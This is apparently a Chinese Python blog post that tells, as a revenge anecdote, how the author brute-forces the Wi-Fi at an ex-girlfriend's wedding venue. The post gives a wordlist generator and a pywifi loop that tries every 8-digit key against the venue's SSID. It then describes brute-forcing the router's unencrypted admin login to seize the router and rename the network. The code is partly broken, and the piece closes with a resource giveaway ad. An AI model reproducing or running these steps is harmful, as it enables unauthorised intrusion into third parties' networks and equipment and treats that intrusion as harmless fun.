python回女朋友消息(利用Python修改前女友婚禮現場WIFI)
2023-04-12 01:38:27 2
目錄
前言
安裝模塊
生成密碼本
完整代碼
連接成功
拿下路由器
修改WIFI名稱
結語
前言在我們的生命中,可能不止經歷一段感情,雖然深愛著一個人,但最後我們並不一定能跟那個人長相廝守,現在有很多情侶,其實都是抱著玩玩的態度談場戀愛,這種戀愛是不穩定的,而誰在這場戀愛中付出的感情多,勢必受的傷就會更多。
對於前女友發來的結婚請柬,男人多半是不會去參加婚禮的,但也有少數前任,還是會收下請柬,準備好紅包,如約去參加前女友的婚禮,而在婚禮現場......
默默,掏出了MAC,連上現場的wifi——"婚禮第一大廳",打開Python開發工具。
——大家好,我叫善念。
安裝模塊pip install pywifipip install comtypes
生成密碼本# coding:utf-8import itertools as its #迭代器words="1234567890"#生成密碼本的位數,五位數,repeat=5r=its.product(words,repeat=3)#保存在文件中,追加dic=open("C:/Users/ASUS/Desktop/password.txt","a")#i是元組for i in r: #jion空格連結 dic.write("".join(i)) dic.write("".join("\n")) print(i)dic.closeprint("密碼本已生成")
代碼就是這麼簡單,下面就是效果圖
完整代碼把密碼本密碼配置進去,進行窮舉
import timeimport pywififrom pywifi import const for i in range(100000000): #生成8位數密碼 pwd=str(i).zfill(8) print(pwd) profile = pywifi.Profile profile.ssid ='婚禮第一大廳' #wifi名稱 profile.auth = const.AUTH_ALG_OPEN #驗證方式 profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式 profile.cipher = const.CIPHER_TYPE_CCMP #加密類型 profile.key=pwd wifi = pywifi.PyWiFi iface = wifi.interfaces[0] wedding = iface.add_network_profile(profile) #嘗試連接 iface.connect(wedding) time.sleep(3) if iface.status == const.IFACE_CONNECTED: print('連接成功') break else: print('密碼不對,連接失敗,好氣哦~~')
連接成功一會兒過去後,連接成功。
得到WiFi密碼。
拿下路由器1、路由器管理地址
路由器管理頁面登錄地址一般為192.168.0.1 或者 192.168.1.1
http://192.168.0.1/
2、路由器登錄抓包分析
通過抓包分析發現post提交密碼是未加密的。
如下圖
3、窮舉提交請求
通過密碼本窮舉post提交密碼,最後成功登錄,拿下路由器。
修改WIFI名稱登錄到路由界面,修改掉WIFI名稱
修改完畢,告辭~
結語有一些人,他們赤腳在你生命中走過,眉眼帶笑,不短暫,也不漫長 .卻足以讓你體會幸福,領略痛楚,回憶一生 .
原創不易,再次謝謝大家的支持。
① 2000多本Python電子書(主流和經典的書籍應該都有了)
② Python標準庫資料(最全中文版)
③ 項目源碼(四五十個有趣且經典的練手項目及源碼)
④ Python基礎入門、爬蟲、web開發、大數據分析方面的視頻(適合小白學習)
⑤ Python學習路線圖(告別不入流的學習)
私信小編01即可獲取大量Python學習資源
,